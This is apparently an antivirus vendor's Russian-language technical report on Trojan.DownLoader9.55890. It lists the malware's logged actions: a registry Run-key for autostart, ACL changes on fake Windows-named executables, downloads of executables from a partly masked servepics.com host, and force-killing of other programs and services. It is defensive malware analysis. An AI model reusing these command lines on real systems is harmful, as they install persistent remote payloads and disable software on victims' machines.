Trojan.DownLoader9.55890

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'TermServ' = 'cmdo.vbs'

Вредоносные функции:

Создает и запускает на исполнение:

'<SYSTEM32>\readcac.exe' "wudriver.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "wudriver.exe" /C /T /D %USERNAME%s SYSTEM Users evryone /Y
'<SYSTEM32>\readcac.exe' "wups.exe" /C /T /D %USERNAME%s SYSTEM Users evryone /Y
'<SYSTEM32>\readcac.exe' "waagent.exe" /C /T /D %USERNAME%s SYSTEM Users evryone /Y
'<SYSTEM32>\readcac.exe' "wups.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "SafeSurf ABUSE README.txt" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "SafeSurf ABUSE README.txt" /C /T /D %USERNAME%s SYSTEM Users evryone /Y
'<SYSTEM32>\readcac.exe' "stmaster.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "ipfw.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "ipfw.exe" /C /T /D %USERNAME%s SYSTEM Users evryone /Y
'%WINDIR%\ehome\wmild.exe' -c http://ka#####f.servepics.com/zanyserv.exe
'%WINDIR%\ehome\wmild.exe' -c http://ka#####f.servepics.com/prochack.exe
'%WINDIR%\ehome\wmild.exe' -c http://ka#####f.servepics.com/SURFSET.exe
'<SYSTEM32>\subin.exe' /subkeyreg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\xStarter /deny=SYSTEM=F
'<SYSTEM32>\subin.exe' /subkeyreg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ProgramService /deny=SYSTEM=F
'<SYSTEM32>\readcac.exe' "wuapp.exe" /C /T /D %USERNAME%s SYSTEM Users evryone /Y
'<SYSTEM32>\readcac.exe' "waagent.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "wuapp.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "wuauсlt.exe" /C /T /D администраторы SYSTEM Пользователи Все /Y
'<SYSTEM32>\readcac.exe' "wuauсlt.exe" /C /T /D %USERNAME%s SYSTEM Users evryone /Y

Запускает на исполнение:

'<SYSTEM32>\taskkill.exe' /f /im wuauсlt.exe /T
'<SYSTEM32>\taskkill.exe' /f /im wuapp.exe /T
'<SYSTEM32>\net1.exe' stop xStarter
'<SYSTEM32>\chcp.com' 1251
'<SYSTEM32>\taskkill.exe' /f /im waagent.exe /T
'<SYSTEM32>\taskkill.exe' /f /im ipfw.exe /T
'<SYSTEM32>\taskkill.exe' /f /im stmaster.exe /T
'<SYSTEM32>\taskkill.exe' /f /im wups.exe /T
'<SYSTEM32>\taskkill.exe' /f /im wudriver.exe /T
'<SYSTEM32>\net.exe' stop xStarter
'<SYSTEM32>\taskkill.exe' /f /im ipz2.exe
'<SYSTEM32>\taskkill.exe' /f /im nvidsrv.exe
'<SYSTEM32>\cmd.exe' /c ""%WINDIR%\ehome\SER.bat" "
'<SYSTEM32>\taskkill.exe' /f /im ipz.exe
'<SYSTEM32>\taskkill.exe' /f /im safesurf.exe
'<SYSTEM32>\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "TermServ" /t REG_SZ /d "cmdo.vbs" /f
'<SYSTEM32>\reg.exe' Add "HKLM\SYSTEM\CurrentControlSet\Services\ProgramService" /v "stop" /t REG_SZ /d "stop.vbs" /f
'<SYSTEM32>\taskkill.exe' /f /im surfguard.exe
'<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f